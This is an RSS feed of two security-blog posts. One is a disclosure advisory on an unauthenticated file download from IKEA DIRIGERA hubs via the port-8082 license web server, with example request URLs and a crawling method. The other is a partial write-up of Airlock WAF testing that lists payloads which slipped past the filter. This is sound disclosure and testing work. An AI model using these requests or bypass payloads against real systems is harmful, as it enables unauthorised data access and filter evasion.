<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Pentagrid AG (Posts about OWASP)</title><link>https://www.pentagrid.ch/</link><description></description><atom:link href="https://www.pentagrid.ch/en/categories/owasp.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 Pentagrid AG </copyright><lastBuildDate>Wed, 17 Jun 2026 19:14:51 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Security misconfiguration in IKEA DIRIGERA smart hub web server exposes large parts of the root filesystem (GCVE-2342-2026-1)</title><link>https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;IKEA produces smart home devices and their newest generation uses the central &lt;a class="reference external" href="https://www.ikea.com/us/en/p/dirigera-hub-for-smart-products-white-smart-50503414/"&gt;DIRIGERA smart hub&lt;/a&gt;. After extracting the firmware, we started hunting for vulnerabilities of the device and found: An unauthenticated attacker on the network can download large parts of the files from the DIRIGERA hub root filesystem. This affects files that are accessible to the service user &lt;cite&gt;license-server&lt;/cite&gt;. These include binaries, firmware files, API keys and in general a lot of proprietary code written by Inter IKEA Systems.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2026-03-18: Vulnerability was discovered.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-03-19: Tried to identify security contacts by checking IKEAS's security.txt, their GPG key and the web. The available online form for submissions was incompatible with Pentagrid's disclosure policy. Tried to contact &lt;a class="reference external" href="mailto:security@ikea.com"&gt;security@ikea.com&lt;/a&gt; by guessing the address, but the e-mail was bounced. Tried to reach out to IKEA via Linkedin and got afterwards contacted by Inter IKEA Systems.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-03-23: IKEA confirms they are handling the security reports. Pentagrid sends a draft of this advisory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-03-26: Pentagrid contacts IKEA for a status update. IKEA confirms they are still triaging the issue.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-04-29: Pentagrid contacts IKEA for a status update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-04: IKEA sends an update: The issue was a duplicate and reported shortly before Pentagrid's submission on Hackerone. A fix was released to production in the 2.934.1 release, which was released on 2026-04-09. The fix removes the license-server component from the build and that functionality has been reworked to be handled elsewhere outside of the hub. Pentagrid asks if disclosure could happen already. IKEA responds with with a list of questions regarding the disclosure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-06: Pentagrid responds to the list of questions and provides an early draft of this blog post.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-13: Pentagrid asked for an update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-05-27: IKEA agrees that the provided answers/blog post draft are in order with them and Pentagrid can proceed as planned.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2026-06-17: 90 days disclosure deadline and publication.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="unauthenticated-file-download-via-licensing-server"&gt;
&lt;h2&gt;Unauthenticated file download via licensing server&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N, 5.8 Medium&lt;/pre&gt;
&lt;section id="affected-components"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;The affected component is the IKEA DIRIGERA smart home hub created by Inter IKEA Systems. The device runs a busybox httpd web server on TCP port 8082, which runs as a systemd service under user &lt;cite&gt;license-server&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;An initial firmware dump prior to the update showed the version information below. The system remained vulnerable after an update to a new firmware on 2026-03-18.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_328e9d5973244adcb2132cd4d75100ae-1" name="rest_code_328e9d5973244adcb2132cd4d75100ae-1" href="https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_328e9d5973244adcb2132cd4d75100ae-1"&gt;&lt;/a&gt;[HomeSmart/Bootchain : 2.556]
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;and&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_284163d51fd54307bb5aa80e21b389f7-1" name="rest_code_284163d51fd54307bb5aa80e21b389f7-1" href="https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_284163d51fd54307bb5aa80e21b389f7-1"&gt;&lt;/a&gt;/etc/version
&lt;a id="rest_code_284163d51fd54307bb5aa80e21b389f7-2" name="rest_code_284163d51fd54307bb5aa80e21b389f7-2" href="https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_284163d51fd54307bb5aa80e21b389f7-2"&gt;&lt;/a&gt;20180309123456
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The vulnerability was fixed in version 2.934.1.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="summary"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker on the network can download many files from the DIRIGERA hub root filesystem. The files must be accessible to the Linux user &lt;cite&gt;license-server&lt;/cite&gt;. These include binaries, firmware files, API keys as well as proprietary code written by Inter IKEA Systems.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;During the analysis Pentagrid was able to download 9639 files from 3149 folders from the embedded device's filesystem over the network without any authentication. These files include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;/usr/share/config/platform/data/settings.json&lt;/cite&gt; which includes the API key that is the same for two analysed DIRIGERA hubs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;cite&gt;/boot/m4-firmware&lt;/cite&gt; which is assumed to be the Cortex M4 firmware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Most binaries files -- here it becomes apparent that busybox is used since most of &lt;cite&gt;/bin/*&lt;/cite&gt; binaries return the same (busybox) file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Configurations of services such as the vulnerable &lt;cite&gt;/lib/systemd/system/license-server.service&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Intellectual property of Inter IKEA Systems B.V., e.g. shell code of &lt;cite&gt;/usr/sbin/boot-complete.sh&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Operational parameters that are stored in &lt;cite&gt;/usr/share/{factory, config, persist}&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The usage of systemd service hardening, the usage of the &lt;a class="reference external" href="https://www.st.com/en/secure-mcus/authentication.html"&gt;STSAFE&lt;/a&gt; enviroment, and proper Linux user permissions limits the impact. To the best of our knowledge no client specific cryptographic material is exposed to the network. What is assumed to be the client certificate under &lt;cite&gt;/usr/local/gw/datad/certs/cert_datacloud.crt&lt;/cite&gt; is not accessible and would further require the protected STSAFE secret for the also inaccessible &lt;cite&gt;/usr/local/gw/datad/certs/key_datacloud.key&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The extracted files expose configurations, intellectual property, proprietary software, and firmware of the Ikea DIRIGERA hub, such as the vulnerabilities of the license server that is exploited here. The impact of exposed software versions is considered insignificant since the license server gives a comprehensive overview about the used software and versions regardless.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;The vulnerability originates from the misconfigured systemd service: &lt;cite&gt;/lib/systemd/system/license-server.service&lt;/cite&gt;. It serves a httpd server on port 8082 with a configuration file under &lt;cite&gt;/usr/share/common-licenses/httpd.conf&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Excerpt from file &lt;cite&gt;license-server.service&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_130e12ea9c824096aa3423f398bab2a9-1" name="rest_code_130e12ea9c824096aa3423f398bab2a9-1" href="https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_130e12ea9c824096aa3423f398bab2a9-1"&gt;&lt;/a&gt;ExecStart=httpd -f -p 8082 -c /usr/share/common-licenses/httpd.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Excerpt from file &lt;cite&gt;httpd.conf&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_2e944694fde64cecb1940087acf7e71a-1" name="rest_code_2e944694fde64cecb1940087acf7e71a-1" href="https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/#rest_code_2e944694fde64cecb1940087acf7e71a-1"&gt;&lt;/a&gt;I:/usr/share/common-licenses/license_summary.txt
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;cite&gt;/usr/share/common-licenses/license_summary.txt&lt;/cite&gt; includes all the licensing information of the software running on the DIRIGERA hub. This file is the only content that is intended to be accessible via the web endpoint.&lt;/p&gt;
&lt;p&gt;Yet, if an unauthroized user visits the endpoint and appends any file system path to the base URL, the webserver returns the file contents or starts a file download, e.g.:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/usr/share/config/platform/data/settings.json"&gt;http://dirigera.example.local:8082/usr/share/config/platform/data/settings.json&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/opt/nexus/bin/chipd"&gt;http://dirigera.example.local:8082/opt/nexus/bin/chipd&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/usr/lib/libicudata.so.71.1"&gt;http://dirigera.example.local:8082/usr/lib/libicudata.so.71.1&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/bin/ls"&gt;http://dirigera.example.local:8082/bin/ls&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="http://dirigera.example.local:8082/boot/m4-firmware"&gt;http://dirigera.example.local:8082/boot/m4-firmware&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;cite&gt;dirigera.example.local&lt;/cite&gt; is here the hostname of the DIRIGERA hub.&lt;/p&gt;
&lt;p&gt;The webserver serves these additional files due to a non-specified home directory in a busybox httpd service. The &lt;cite&gt;httpd&lt;/cite&gt; call inside the systemd service does not specify the &lt;cite&gt;-h&lt;/cite&gt; parameter (home/server root directory). Further, the configuration file &lt;cite&gt;/usr/share/common-licenses/httpd.conf&lt;/cite&gt; only specifies the index file via tag &lt;cite&gt;I:&lt;/cite&gt; but also does not specifiy the home directory using the tag &lt;cite&gt;H:&lt;/cite&gt; (called server root in the &lt;a class="reference external" href="https://github.com/mirror/busybox/blob/371fe9f71d445d18be28c82a2a6d82115c8af19d/networking/httpd.c#L41"&gt;configuration file&lt;/a&gt;). As a result, the webserver defaults to the current directory as the root directory of the webserver which is also the root directory of the entire file system (&lt;cite&gt;/&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;All accessible files return status code 200. To identify existing folders they must be called without the tailing &lt;cite&gt;/&lt;/cite&gt;, e.g. send GET request to &lt;a class="reference external" href="http://dirigera.example.local:8082/usr/share/persist/tee"&gt;http://dirigera.example.local:8082/usr/share/persist/tee&lt;/a&gt; to get status code "302 Found" and a location reference to &lt;cite&gt;/usr/share/persist/tee/&lt;/cite&gt;. Directly requesting &lt;cite&gt;/usr/share/persist/tee/&lt;/cite&gt; results in status code "404 Not Found", which does not provide information to discriminate folder existence. Note, that besides the information gained from the files, attackers can gain additional information about the file system's structure by checking if a folder exists and is accessible: e.g. &lt;cite&gt;/usr/share/persist/tee/&lt;/cite&gt; is known to exist even though all files inside the folder are inaccessible.&lt;/p&gt;
&lt;p&gt;To scrape all 12788 files and directories, Pentagrid used a preconfigured wordlist based on the extracted firmware from another DIRIGERA hub. The total number of accessible entities is a lower (but confirmed) limit since crawling the licence endpoint/filesystem was done based on a non-comprehensive wordlist. The crawling wordlist included only known paths from partitions 9, 10, 11, 13, 14, 15, 16, 17, 18, and 20 of the emmc flash with partitions 15, 16/17, and 18/19 mounted under &lt;cite&gt;/usr/share/{factory, config, persist}&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;The system tries to limit access with systemd service hardening, especially the &lt;cite&gt;InaccessiblePaths&lt;/cite&gt; setting in combination with the Linux user permissions — although this is not sufficient, it prevents further exploitation.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs access to TCP port 8082 of the IKEA DIRIGERA smart hub. Prior knowledge of the filesystem structure is not necessary but can reduce the time required to scrape the entire contents of the filesystem. A version before the 2.934.1 release has to be installed.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="recommendation"&gt;
&lt;h3&gt;Recommendation&lt;/h3&gt;
&lt;p&gt;Install firmware version 2.934.1 released on 2026-04-09 or a later one. The fix removes the license-server component from the build and the functionality has been reworked to be handled elsewhere outside of the hub.&lt;/p&gt;
&lt;p&gt;If you are using busybox httpd in a similar scenario, it is recommended to:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;provide a "Home directory" to httpd by via command line or configuration file.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;establish an allowlist to only expose the intended files. Beware, that busybox httpd config files are far more limited in their capabilities to restrict file access compared to their non-busybox alternative.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;apply additional systemd service hardening.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;not solely rely on systemd service denylisting with &lt;cite&gt;InaccessiblePaths&lt;/cite&gt; to administer the served content as denylisting is bad practise for access control.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This vulnerability was discovered by Yannic 'toxsos' Hemmer (Pentagrid).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><category>Advisory</category><category>Embedded device</category><category>OWASP</category><category>Pentesting</category><category>Web</category><guid>https://www.pentagrid.ch/en/blog/ikea-dirigera-security-misconfiguration-web-server-exposes-root-filesystem/</guid><pubDate>Wed, 17 Jun 2026 13:42:00 GMT</pubDate></item><item><title>An excursion into Airlock WAF ruleset testing</title><link>https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the &lt;a class="reference external" href="https://www.airlock.com/"&gt;Airlock WAF&lt;/a&gt; regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer &lt;a class="brackets" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#footnote-1" id="footnote-reference-1" role="doc-noteref"&gt;&lt;span class="fn-bracket"&gt;[&lt;/span&gt;1&lt;span class="fn-bracket"&gt;]&lt;/span&gt;&lt;/a&gt; in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.&lt;/p&gt;
&lt;section id="about-wafs-and-airlock"&gt;
&lt;h2&gt;About WAFs and Airlock&lt;/h2&gt;
&lt;p&gt;Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.&lt;/p&gt;
&lt;p&gt;Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.&lt;/p&gt;
&lt;p&gt;While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the &lt;a class="reference external" href="https://owasp.org/www-project-modsecurity-core-rule-set/"&gt;OWASP ModSecurity Core Rule Set (CRS)&lt;/a&gt;, while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.&lt;/p&gt;
&lt;p&gt;Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term &lt;a class="reference external" href="https://coreruleset.org/docs/concepts/paranoia_levels/"&gt;"Paranoia Level" (1 to 4)&lt;/a&gt;, whereas Airlock calls it &lt;a class="reference external" href="https://docs.airlock.com/gateway/8.0/#data/1583435052416.html"&gt;"Security Level" or "Blocking Level" (basic, standard and strict)&lt;/a&gt;. As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="approach"&gt;
&lt;h2&gt;Approach&lt;/h2&gt;
&lt;p&gt;We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.&lt;/p&gt;
&lt;p&gt;Although there is a &lt;a class="reference external" href="https://docs.airlock.com/gateway/8.0/#data/1589475703024.html"&gt;public list of rule names&lt;/a&gt;, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/labels/%3Aheavy_minus_sign%3A%20False%20Negative%20-%20Evasion"&gt;look up all currently unfixed evasions on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Airlock WAF we were facing had the following rules and blocking levels set:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Standard: SQL Injection (SQLi) in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: SOL Injection (SQLi) in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Cross-Site Scripting (XSS) in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Template and Expression Language Injection&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTML Injection in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: UNIX Command Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: UNIX Command Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Windows Command Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Windows Command injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: LDAP Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: LDAP Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: PHP Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: PHP Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Insecure Direct Object Reference in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Insecure Direct Object Reference in Path&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSOL Injection in Parameter Name&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSOL Injection in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: NoSQL Injection in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Parameter Name Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Parameter Value Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Header Name Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Header Value Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Path Sanity&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Encoding and Conversion Exploits in Parameter Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Encoding and Conversion Exploits in Header Value&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTTP Response Splitting&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: HTTP Parameter Pollution&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Standard: Miscellanous Exploits&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Strict: Automated Scanning&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".&lt;/p&gt;
&lt;/section&gt;
&lt;section id="crs-regression-test-run-against-airlock"&gt;
&lt;h2&gt;CRS regression test run against Airlock&lt;/h2&gt;
&lt;p&gt;The most interesting part for us was that the CRS project provides a &lt;a class="reference external" href="https://github.com/coreruleset/coreruleset/tree/main/tests/regression"&gt;full regression test set&lt;/a&gt;, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.&lt;/p&gt;
&lt;p&gt;In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.&lt;/p&gt;
&lt;p&gt;After tweaking the configuration of &lt;a class="reference external" href="https://github.com/coreruleset/go-ftw/releases"&gt;go-ftw&lt;/a&gt; (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="crs-regression-test-run-results"&gt;
&lt;h2&gt;CRS regression test run results&lt;/h2&gt;
&lt;p&gt;Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.&lt;/p&gt;
&lt;section id="request-913-scanner-detection"&gt;
&lt;h3&gt;REQUEST-913-SCANNER-DETECTION&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-1" name="rest_code_d7e367b989164c97976cfa426b84368e-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-1"&gt;&lt;/a&gt;User-Agent: nuclei
&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-2" name="rest_code_d7e367b989164c97976cfa426b84368e-2" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-2"&gt;&lt;/a&gt;User-Agent: urlgrabber/3.10 yum/3.4.3
&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-3" name="rest_code_d7e367b989164c97976cfa426b84368e-3" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-3"&gt;&lt;/a&gt;User-Agent: Mozilla/5.0 zgrab/0.x
&lt;a id="rest_code_d7e367b989164c97976cfa426b84368e-4" name="rest_code_d7e367b989164c97976cfa426b84368e-4" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_d7e367b989164c97976cfa426b84368e-4"&gt;&lt;/a&gt;User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-920-protocol-enforcement"&gt;
&lt;h3&gt;REQUEST-920-PROTOCOL-ENFORCEMENT&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code text"&gt;&lt;a id="rest_code_17a75ecb6d5646c5a4f453cbb0fdcfc3-1" name="rest_code_17a75ecb6d5646c5a4f453cbb0fdcfc3-1" href="https://www.pentagrid.ch/en/blog/airlock-web-application-firewall-ruleset-testing-and-waf-bypasses/#rest_code_17a75ecb6d5646c5a4f453cbb0fdcfc3-1"&gt;&lt;/a&gt;GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="request-921-protocol-attack"&gt;
&lt;h3&gt;REQUEST-921-PROTOCOL-ATTACK&lt;/h3&gt;
